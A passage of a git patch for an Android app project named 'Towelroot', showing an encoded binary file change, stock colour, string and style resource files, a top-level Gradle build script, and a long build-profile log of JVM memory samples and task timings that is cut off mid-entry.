zvaSwhP8f@{_dl^`^HYRB{te^6AAbqU)Pw~GRh9rsG%frQm*u6Ui4?-_yEEV_-t;rI zaUDeGs1^J$<+0Ii)%lJu!JaJ-(ghncb6h!i$m6Xy%MX(B@+ezJ&pA5jSR;v}@IM=e z3=dWVvC@EX1QO7$;&O)x?gbsnzPGWd1{Jseu~Xo~!gfQ$YfD*KM8&}5jFn?JiCv7r zP=i&lexSx6;aUYx)Uk5zqe%?P9dGCI=AY=%a}T5x`9QJri$Rb@s3n`lxwzEJr|iSV zS6FuHnSh1_(zon5)YRo1oSeF4MvbnWhjZ04q2b|{#Hi)lhz9f5lIB+zBWeE2J4q$S zkpvhKCXhe->8;n+whxAEL}clU0S`y@f%=WETbZY)&eGD-A^+}Lb06Gv@!h8oXm6Sc z@Gvnjv{QzyKl%EKcziPy`#4)6UOZ)AGHh+xl1N-JUlXT$h5(LsH2avotSm`D{&WAn zKJ=GtV;|qKv#^+7pRBxWfQuq#AwUb!e&qmKLALiOYJo0)?~WpoaD=-uI6FQ-dO-P~ zdH#4Y8c2$d|I?fVNm?UC@boX(1Vs9KpzFP*@Bc(|hKo+~>NcP}?$7a1`F-H?MOLii zd<~1pn>Q`S(5K4%iM@XX&g)B4z^y1AUQgF0L1biP5HW{Q+|g|1MkOjfBO4kzx@DzQ z@cDN#uGEr-Un%0Ohx%>Zhn$SkLJ$!Vp}r9SsWm7S19@-f>EWjRKQEzHCb#9;xX|GbQU3E9 z3z`h#3+_4{k@x;}@=|ibn^W`AjQ{MNUo!`W+OHBN%V*+$mutPtqEu-p02*p^fm#W7 zcXzW-pKASjq6h_t()bVPV&2l(ko11Qa%nD#D8aN4S%%wB3~M%^mV#hP=W2Qg(<#~+*O+A6&JAb)k#XY0vQdQT(>G+C)mR1)9*m)JFqqEcj!!Ta6=%XMB z#x=hH-m(4tibS*#GXU4UvaAJG^_#UhreL-n%-rqM2BH%5D zf5?)Oz#%0iRoB&JT59pWz{h7)PAMO=b$(%tq-yl`=4k&hpow^ws1`D2v^KVLnV3G9 z=fcHx?H{Mmf_L|)5Ig z$zdS?$-vRxUaDOpV6`I%8wr!l-ObjPxd5>Rm$cMr2`TT>Y)_>e**KwrN#acIMmkO- z0&Vc|+3f@F1Twx!I2NTakK6W;oW}Y>s#s@mJ(WUWXTz}%w|NeQ4H_aca*3gVftBad zC*4QTdTJA3VPSzhLHSf-JINNVv#g8tNU>&e|qUX9IAiNpeuYK>MechC1}WGe7YDGiH{Nv zgN%iRrdy+!4gHz~FF1)QD7wQ~FjopU%c`Yq18#BLVF00#veJq_DB0gKs zraB(~$Nkd|_mS(Hn!OM#&fxzLdJ=3Mwg2bim?jNwG5#Eja0&Qw8>eYAzBSCAAIk)h zNFk%NaD1T0hI8o&hDn)!baG;9Zi!f0DYd9C+dgr`@BhZ)&ca7VK=8}a z!6C7?uMgRAwgN&YZ3&A1)^&pVbfxSHds33&E#t9YYA?ndG2swyCzw>)ri-wd)7<*H zh1D}}G!eT`3ur8|Ff;cr&d)0?CNTT3)bn;uO?j_6oM1mYlPsJsyA4WZzZ- zj{OA=uSl>co!yFP5WFucF8)p-9?-I#?$oB=V&3(6f-L6q*1?0qH}Y?fBrNWR{S#w@ z-Ujd}Dm34zae{$Zqud?PZDXUO+xW4$xj7pVfl{6#E!}pzm4?wlcat7cIE*JI{e(++~1cyBt>#N;lrOeCtJsCZtymim%%BIWn0JS zE77{DDxPhy>7EFhl*4!lkLKp)b-lfB@s4PGeZv;WMgKmAa*KZTdxmuS(BP3u;V|=& z#WdyTe{MTzd-x8zWTze=R(H(K>XpMfY|BEUK2QBytSiUu`QWe%lQzL)a0WTI2R%Z z<}=R&=)0S`-kz@Q7Zx%XmX;ExiPBH69JRJC`J>0Ckx(itHsn0>sQf3d!TK+EjO`xu z2~5brlGp(x|J5J!G~@+{pn!l+(lU*aW{e5DJ-y4gy!oX}6XxLMwFFu}Yv7(e5V0Fv z`e|v!3-IwJIN00MrW=HQUpW{$LC2K1RcwfSivlNfhRPM)0-A3OKi|gO;|GKB+`)?I zPC{C2w+yH_=)=<1>`9pSq^IhG7_Au1y89;Je;BiU>_VzzQp`oGSp4jwNc6D@tK&GhgwDa!2oLE!P z@ZlV`t|mlGQ7xb|S4Dtv4Ibcc-{c|fq9D-AyhOJq-wH@?|*ccx}l+P?QLj;-y=c$gYA*ns1EndX)FkObb1971sN zLL1EBJ2mmAn)9ErV)M~1feFuy@saX=j|x&h9OtHI<2^4jY)Oekgt<3jx#0Wt)iw- zrqcA}q)d*&<+AU|Fgd7qy1>rK{_d_Vc^8+S>Vb;`j5C;KV!N(&aqrThmtyP|#df1) ziw>M{!IGM?GufMe`%7&89U&p1yNOBWGiU`HzZ_PN2824GdHZI``*%K)Y+w2mR`W6v zgdpJrkF|YV|1N-nf)a<{4g~>X9yDyk;}a72TEIGZ7ix(tj1ZK(+=t|2DaN;V4b++2 z2`1k|!zF^G=COmP+C%=q79<&{cgOm%^yz~p>&Y;X6eJ}fpw-ObIa6kQQf63xoYJw( zd-PP3$rIUiXm>mgy4>o7`akChX>U?{4c-&XL5) z<(~aOy}A1J&Bn&w7o*sMs3^4l(NVz+(BoVI-4WBULE89%(_PK#0V~=ePIr&6Fb5L_ zS0QPVN(k)r_O-d@BmxCWMK+cS?IpVUCJ32ML;v~pGMbv>pFl*w!NUu#m04x4mY273 zPjhJx`lF5Tb^?)0-~LujRPQ&YS*`hWdr55pEax56yi<}f5=fQl^53kI0eiHNgDcUa z$$4HZp#(CfmGSXT0%GDW&<9jIp07RF_;fH$+3OY5u`H*cMzZp)dVvsalI+bpYg;6~`VPA()Sz zUS@gvGpR>5b-?Y~7|5=ET;PbOCpR~@=5NupL6%2}UD#i#Ub#r8T7%U6eS2nhc79?a zBC5xez?Wu_A~9#JB2z@@zcE+^bl&FH+)%bQ>8U^;8u4&Ye#%^1f7342`57ybuFR-P z$7a-Ux($|Ji&=4TTsl9;bK zLo5IUeJ8QU)2^&oORg(=2qO59lFB$Fyf(Hil)hzU}p19mcrTaK?a z5bkIcoL~P12?L!qu5h<4*^<{r%ndyw<1zsV6ko|`=;=ezv)19c5@TVfZ%;IBi28oa z;N;6SQyuv}`=^5LvP7imyLVISnwqZ8;HfQmYlU0-)f%YmUHQ$%-$k5^7E8yYbxsu|HkB{FkeVQ@$WMp7i0!Ni&NZtzp3m~<~0)tm%_gfB4rB`Kw#I9#hQ3X}Hy&*`@)2{N=AZ>}b_1Y;^?c(~mHJJ|%J=NPz5Qa+cN_Z6r@*#ZlLVbkRtg%YO3;6cKth32Q3f)9 z3>V6$r>mL1WtTom{O|GcPXBEAq;WC8S~MdvRDr4}A$q{=D{Yo(0|JVvEo$fCV|8QZ zeSbttoyBh*R_Mgf$cfq6er|uT@^dsdU&{fNB;|iC7^=(;f8=2bHgnq#ALuYt1JE4& zEOz2mF8)H_c=PycHWjO=vt6-QI$J5=XC}SN-=RT@YK8e%?3#u z*ov+(Ugjn|fE~L&Y>LFpeJZ38A9DVcnvFHdLR=_qJflqD7k%%PenzQl9?&y-XBLp$453CcY1mn z0B+M5_zXfpKnT?=>V5-Xz~F^Mtk^e5l83*&y*vPs2tDa~a;((ru;qiBKi}QlD5$M{ zw=g-Wy#z`^1AYC}i4ldrMZF-)^PafRZ zi>#1Z@A*@i%h7`3VvlsJLIWOg4vvXvJVfwc`Y^L(|9nv1cqF*$Wpi`DX~FPQ9A+=!{9 zq=x;6QVUcs9#g!}Q?_uQ5Kw)gaaLq3F_M)zhIm)4 zpFz9}!y@IOr~2>>4i1hM4j!Hk9u7__LGgW@_N#Z?7$Fb7TnaSiByWTLW5N3hv3W!V z^^$5&rxF;&w#%Hr$Jn0xaA|4jl|gA;TT@fhD<-A_TJYJ}*qF-I{Eyx|Pm?7Ki=C(S zKOR+1SfkIDp{vsc4F^GH9KD{w!?x+_dCT(=Nmq%Wf9i@xgYJ>a zC1Bu8Rf=o&MU_^0(*OY>Y#zdo2q#sf?V69z!=J|HVbC?@jc51Onm~67yrn~3se*Y< zmw%_4Sxg>V@69U(a*<8(RUuaQDGkGH;7;zry&7dpI zhbC_%{xPkRkVtllFSaSCTgp&z*`ECDiV{b)L<>Yqo%z;Xj~t8xy}rRuQ!6`H16_`C zc!>tsS7rK#N4PWU(11`;AmVK$a-#adYo6rLx;nairWYm*xp}34md^5c|^UD(9sEModPXS@nz|zlbI&~D% z1uAArg@A_wk#U5t^j^9%pH52eSL+`E=h0kGnZA+T4=?p2^q=GcFO+Vm%2r;G6It)w Vi*qJFfj0vK3bLv)Wm0Cr{{w}-Y&-w} literal 0 HcmV?d00001 diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..3ab3e9c --- /dev/null +++ b/app/src/main/res/values/colors.xml @@ -0,0 +1,6 @@ + + + #3F51B5 + #303F9F + #FF4081 + diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..8277fa3 --- /dev/null +++ b/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + Towelroot + diff --git a/app/src/main/res/values/styles.xml b/app/src/main/res/values/styles.xml new file mode 100644 index 0000000..5885930 --- /dev/null +++ b/app/src/main/res/values/styles.xml @@ -0,0 +1,11 @@ + + + + + + diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..7e01a0a --- /dev/null +++ b/build.gradle @@ -0,0 +1,25 @@ +// Top-level build file where you can add configuration options common to all sub-projects/modules. + +buildscript { + repositories { + jcenter() + google() + } + dependencies { + classpath 'com.android.tools.build:gradle:3.0.1' + + // NOTE: Do not place your application dependencies here; they belong + // in the individual module build.gradle files + } +} + +allprojects { + repositories { + jcenter() + google() + } +} + +task clean(type: Delete) { + delete rootProject.buildDir +} diff --git a/build/android-profile/profile-2017-12-25-11-51-48-588.json b/build/android-profile/profile-2017-12-25-11-51-48-588.json new file mode 100644 index 0000000..1a9d4f4 --- /dev/null +++ b/build/android-profile/profile-2017-12-25-11-51-48-588.json @@ -0,0 +1 @@ +[{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907515000,"args":{"JVM stats":"heap_memory_usage: 83477712\nnon_heap_memory_usage: 114359184\nloaded_class_count: 14236\nthread_count: 34\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 1\n gc_time: 9\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907574000,"args":{"JVM stats":"heap_memory_usage: 97268280\nnon_heap_memory_usage: 115344744\nloaded_class_count: 14260\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907602000,"args":{"JVM stats":"heap_memory_usage: 102274280\nnon_heap_memory_usage: 115393368\nloaded_class_count: 14260\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907602001,"args":{"JVM stats":"heap_memory_usage: 102274280\nnon_heap_memory_usage: 115393368\nloaded_class_count: 14260\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907629000,"args":{"JVM stats":"heap_memory_usage: 110284264\nnon_heap_memory_usage: 115686856\nloaded_class_count: 14264\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907641000,"args":{"JVM stats":"heap_memory_usage: 111178048\nnon_heap_memory_usage: 115785536\nloaded_class_count: 14277\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907644000,"args":{"JVM stats":"heap_memory_usage: 111579584\nnon_heap_memory_usage: 115802232\nloaded_class_count: 14277\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907646000,"args":{"JVM stats":"heap_memory_usage: 111579584\nnon_heap_memory_usage: 115785264\nloaded_class_count: 14278\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907653000,"args":{"JVM stats":"heap_memory_usage: 111981184\nnon_heap_memory_usage: 115851888\nloaded_class_count: 14284\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907654000,"args":{"JVM stats":"heap_memory_usage: 111981184\nnon_heap_memory_usage: 115833648\nloaded_class_count: 14284\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907657000,"args":{"JVM stats":"heap_memory_usage: 112181920\nnon_heap_memory_usage: 115852040\nloaded_class_count: 14285\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907657001,"args":{"JVM stats":"heap_memory_usage: 112181920\nnon_heap_memory_usage: 115854280\nloaded_class_count: 14285\nthread_count: 46\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907945000,"args":{"JVM stats":"heap_memory_usage: 213768792\nnon_heap_memory_usage: 119790320\nloaded_class_count: 14507\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907948000,"args":{"JVM stats":"heap_memory_usage: 214837968\nnon_heap_memory_usage: 119837232\nloaded_class_count: 14514\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907990000,"args":{"JVM stats":"heap_memory_usage: 223133888\nnon_heap_memory_usage: 120804936\nloaded_class_count: 14648\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227907997000,"args":{"JVM stats":"heap_memory_usage: 224146384\nnon_heap_memory_usage: 120922400\nloaded_class_count: 14663\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908201000,"args":{"JVM stats":"heap_memory_usage: 237380344\nnon_heap_memory_usage: 121603040\nloaded_class_count: 14774\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908202000,"args":{"JVM stats":"heap_memory_usage: 237380344\nnon_heap_memory_usage: 121603744\nloaded_class_count: 14774\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908225000,"args":{"JVM stats":"heap_memory_usage: 241442552\nnon_heap_memory_usage: 121707968\nloaded_class_count: 14776\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908231000,"args":{"JVM stats":"heap_memory_usage: 242671616\nnon_heap_memory_usage: 121776056\nloaded_class_count: 14780\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908240000,"args":{"JVM stats":"heap_memory_usage: 243876776\nnon_heap_memory_usage: 121823264\nloaded_class_count: 14783\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908246000,"args":{"JVM stats":"heap_memory_usage: 244487160\nnon_heap_memory_usage: 121894768\nloaded_class_count: 14791\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908249000,"args":{"JVM stats":"heap_memory_usage: 244770528\nnon_heap_memory_usage: 121923432\nloaded_class_count: 14791\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908250000,"args":{"JVM stats":"heap_memory_usage: 245172072\nnon_heap_memory_usage: 121926088\nloaded_class_count: 14791\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908250001,"args":{"JVM stats":"heap_memory_usage: 245172072\nnon_heap_memory_usage: 121928776\nloaded_class_count: 14791\nthread_count: 54\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908424000,"args":{"JVM stats":"heap_memory_usage: 341015336\nnon_heap_memory_usage: 122924784\nloaded_class_count: 14794\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908428000,"args":{"JVM stats":"heap_memory_usage: 342056696\nnon_heap_memory_usage: 122890680\nloaded_class_count: 14794\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908578000,"args":{"JVM stats":"heap_memory_usage: 345028464\nnon_heap_memory_usage: 122870224\nloaded_class_count: 14797\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908579000,"args":{"JVM stats":"heap_memory_usage: 345229216\nnon_heap_memory_usage: 122871680\nloaded_class_count: 14797\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908585000,"args":{"JVM stats":"heap_memory_usage: 346036296\nnon_heap_memory_usage: 122931016\nloaded_class_count: 14810\nthread_count: 55\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514227908588000,"args":{"JVM stats":"heap_memory_usage: 346036296\nnon_heap_memory_usage: 122956592\nloaded_class_count: 14810\nthread_count: 43\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":1,"tid":3,"id":2,"name":"base plugin project configure","args":{"span_id":"2","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907515000,"dur":4000},{"pid":1,"tid":3,"id":3,"name":"base plugin project base extension creation","args":{"span_id":"3","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907519000,"dur":3000},{"pid":1,"tid":3,"id":5,"name":"task manager create tasks","args":{"span_id":"5","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907522000,"dur":1000},{"pid":1,"tid":3,"id":4,"name":"base plugin project tasks creation","args":{"span_id":"4","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907522000,"dur":1000},{"pid":1,"tid":3,"id":8,"name":"variant manager create variants","args":{"span_id":"8","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907530000,"dur":2000},{"pid":1,"tid":3,"id":9,"name":"variant manager create tests tasks","args":{"span_id":"9","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907532000,"dur":1000},{"pid":1,"tid":3,"id":11,"name":"app task manager create merge manifest task","args":{"span_id":"11","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907534000,"dur":100},{"pid":1,"tid":3,"id":12,"name":"app task manager create generate res values task","args":{"span_id":"12","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907534000,"dur":1000},{"pid":1,"tid":3,"id":13,"name":"app task manager create create renderscript task","args":{"span_id":"13","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907535000,"dur":100},{"pid":1,"tid":3,"id":14,"name":"app task manager create merge resources task","args":{"span_id":"14","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907535000,"dur":100},{"pid":1,"tid":3,"id":15,"name":"app task manager create merge assets task","args":{"span_id":"15","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907535000,"dur":100},{"pid":1,"tid":3,"id":16,"name":"app task manager create build config task","args":{"span_id":"16","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907535000,"dur":1000},{"pid":1,"tid":3,"id":17,"name":"app task manager create process res task","args":{"span_id":"17","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907536000,"dur":2000},{"pid":1,"tid":3,"id":18,"name":"app task manager create aidl task","args":{"span_id":"18","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907538000,"dur":100},{"pid":1,"tid":3,"id":19,"name":"app task manager create shader 